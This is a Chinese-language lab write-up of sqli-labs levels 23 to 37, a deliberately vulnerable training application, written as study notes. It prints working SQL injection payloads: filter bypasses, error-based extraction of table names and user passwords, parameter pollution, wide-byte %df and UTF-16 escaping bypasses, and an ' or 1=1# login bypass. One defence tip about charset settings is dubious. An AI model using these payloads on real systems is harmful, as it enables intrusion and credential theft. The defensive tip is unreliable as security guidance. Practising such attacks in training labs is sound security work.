less23-37


一.less23

本关不能用–+来进行输出,源码中自动换成空格了

通过单引号测试获得的报错信息得知是单引号闭合
猜测原sql语句

select id,username,password from users where id='xx'

方法一:特殊字符,作用是截断(相当于注释)

;%00
http://127.0.0.1/sqli-labs/Less-23/?id=-1'union select 1,2,database();%00

方法二(这个闭合构造的是真的强):

#利用原生的有单引号构造闭合'2'
http://127.0.0.1/sqli-labs/Less-23/?id=-1'union select 1,database(),'2

利用方法2的思路联合注入或者报错注入之类的都行,就不赘述了

二.less24

这关的手法直接看下图即可
警示:要防止账号里有非法字符

三.less25和less25a

less25

本关主要的考点在于 or和and 过滤(考点在这里所以就不用别的方法了),如何绕过 or 和 and 过滤。一般性提供以下几种思路:

  • (1) 大小写变形 Or,OR,oR

  • (2) 编码,hex,urlencode

  • (3) 添加注释/or/

  • (4) 利用符号 and=&& or=||

比如利用 || 绕过or的过滤然后进行注入,由于本关存在输出报错,所以可以用报错注入

http://127.0.0.1/sqli-labs/Less-25/?id=1' || updatexml(1,concat(0x7e,version()),1)--+    

less25a

本关不存在报错,所以报错注入不能用了,不过可以考虑联合注入或者延时注入
联合注入

http://127.0.0.1/sqli-labs/Less-25a/?id=1 union select 1,2,3#

延时注入

四.less26和less26a

注:从本关开始,阿帕奇存在空格无法转义的问题(在ubantu上是可以的)

本关结合25关,将空格,or,and,/*,#,–,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个’来闭合后面到’;对于空格,有较多的方法:

  • %09 TAB键(水平)
  • %0a 新建一行%0c新的一页
  • %0d return功能
  • %0b TAB键(垂直)
  • %a0空格(window无法解析 )

由于在windows下阿帕奇的服务器上不能使用%a0解析空格,所以下面的代码都用括号+报错注入来举例(如果能解析空格的话就和之前完全一样了)

  • 报错注入获取数据库名:

    http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(1,concat(0x7e,database(),1),1)||'1'='1
  • 报错注入获取security下的表名:

    http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(0x7e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where (table_schema='security')),1)||'1'='1
  • 注:由于本关会对sql语句中的or进行一次过滤,所以在information那里要写成infoorrmation*

  • 报错注入获取users中的列名:

    http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(0x7e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where (table_name="emails")),1)||1='1

  • 获取username和password

因为一次性取会存在数据取补全的情况,所以可以选择靠id一个个取(注意where不能加括号)

http://127.0.0.1/sqli-labs/Less-26/?id=1'||updatexml(1,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from (users)where(id=1)),1)||1='1

这里我不知道为什么我的电脑里会出现第一个数据不能完整显示的问题,sql可以正常运行

五.less27和less27a

less27

本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破,具体略

less27a

本题不存在报错输出,所以不能用报错注入,这关id使用双引号闭合,其他的同less27,可以用联合注入和%a0来进行注入

五.less28和less28a

less28

本题和27关几乎没有区别,就id那里用了单引号闭合,直接联合或者报错注入即可

less28a

本关与 28 基本一致,但是是单引号+单括号闭合,只是过滤条件少了几个。

六.总结(less23-28)

这几关都是在处理特殊符号被过滤时的问题

遇到字符过滤的情况有如下方法:

  • 1.特殊字符过滤
  • 2.用括号把不同块包起来构造合法sql语句
  • 3.对于过滤字母单词的,可以把字母小写改成大写,或者用重复的方式试试比如;or被replace进行过滤且进行一次,就可以用 oorr 来构造

七.less29

本关开始到31是基于服务器的两层架构,phpstudy不支持,所以只讲基本思路不做演示(基本和前面一样)

两个服务器里,apache是真正要用到了,然后tomcat起到的是过滤作用
。比如下面代码的网址中第一个id=1是给tomcat的,是不起作用的,第二个id才起作用(就这一个知识点)其他的注入方式同之前

http://127.0.0.1:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2'union select 1,user(),3--+

八.less30

这里第二个id是双引号闭合,其他一样

九.less31

这里第二个id是双引号+单括号闭合

十.总结(less29-31)

(暂时略)


less-32,33,34,35,36,37 六关全部是针对’和\的过滤,下面会讲到宽字节注入的手法

十一. less32

通过输出的sql语句可以看出,我们手动添加的单引号被过滤掉了(源码中使用replace过滤的)

http://127.0.0.1/sqli-labs/Less-32/?id=-1 %df'union select 1,2,database() --+

说明:从gbk编码的原理可知,汉字是占两个字节的,然后由上面可知urlencode(') = %5c%27,前面补一个%df的,就能把\吃掉,%27则作为一个单独的符号在外面

上面的代码思路就是如此,加一个%df后就和普通的注入一样了
(这里应该是因为编码的原因下图中输出的sql语句中手动添加的单引号乱码)

结果图

十二.less33

本关过滤使用函数 addslashes(),用于在预定义字符之前添加反斜杠的字符串(预定义字符: ‘,”,\ )
本关依旧可以用%df绕过,代码同less32

防御漏洞的方法 :使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。

十三.less34

本关是post型的注入漏洞,由于单引号等特殊字符被过滤

我们此处介绍一个新的方法。将utf-8转换为utf-16或utf-32,例如将‘转为utf-16为�’ (别漏了单引号)

按照下面的方式就可以登陆成功了,然后直接用报错注入就行了(我不是很懂用�’ 的时候输出的sql语句里明明在’前面有个转义字符,那这个单引号有什么用,为什么删除之后就不能正常运行,会报如下的错)

账号: �' or 1=1#
密码随便输

#这个报错我不太明白什么意思
llegal mix of collations (utf8_general_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='

十四.less35

这关按照天书的说法,和第二关一毛一样,我感觉可能有哪里有漏

# 整型注入
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,2,database()#

十五.less36

本关使用mysql_real_escape_string()函数来进行过滤的

mysql_real_escape_string()的作用 : 基本和addslashes()相同转义SQL语句中使用的字符串中的特殊字符,如果成功,则该函数返回被转义的字符串。如果失败,则返回false。

受影响的字符:

  • \x00
  • \n
  • \r
  • \
  • \x1a

本关通关手段和之前一样,%df和utf-16的单引号形式两种方法都能绕过检测然后实施注入

http://127.0.0.1/sqli-labs/Less-36/?id=-1 %df'union select 1,user(),database()--+

http://127.0.0.1/sqli-labs/Less-36/?id=-1 �'union select 1,user(),database()--+

防御漏洞的方法 :在使用mysql_real_escape_string()时,将mysql设置为gbk即可

设置代码:

Mysql_set_charset(‘gbk’,’$conn’

十六.less37

本关也是使用mysql_real_escape_string()函数来进行过滤的
其他的同less34,都是post的注入类型,由于和addslashes()原理相同,所以代码也相同

账号:admin�' or 1=1#
密码随便输

十七.总结(less32-37)

1.上面给出了三种过滤的方式分别是 :

  • replace
  • addslashes()
  • mysql_real_escape_string()。

其中第二第三种是差不多,都是通过转义字符来过滤。防御方式也已经在上面给出不再赘述.

破解方法:

  • 对replace前面的关卡已经详细讲过了,这里不细说,总之就是各种替换,用大小写等各种手段。

  • 第二三种过滤方式的破解手段就是看情况使用用%df和�’,其中post型的注入不能用前者


文章作者: 灿若星河
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 灿若星河 !
评论
 上一篇
less38-53 less38-53
一.less38堆叠注入:就是利用利用分号来分隔一个sql语句,然后在同一行再写一个sql语句实现多句并用。堆叠注入的危害巨大,less45将演示利用堆叠注入写一句话木马 less38-45是关于堆叠注入的学习,通关要求是找到注入点进行堆叠
2020-11-25 灿若星河
下一篇 
less11-22 less11-22
注1:从现在less11开始,进入post的世界了,前十关都是get请求,post请求在网址上看不见,要开Burpsuit等工具可以看到。下面为为了方便,都以F12中的抓包方式来查看表单一.less11 1.通过查看表单中的信息可以知道
2020-11-21 灿若星河
  目录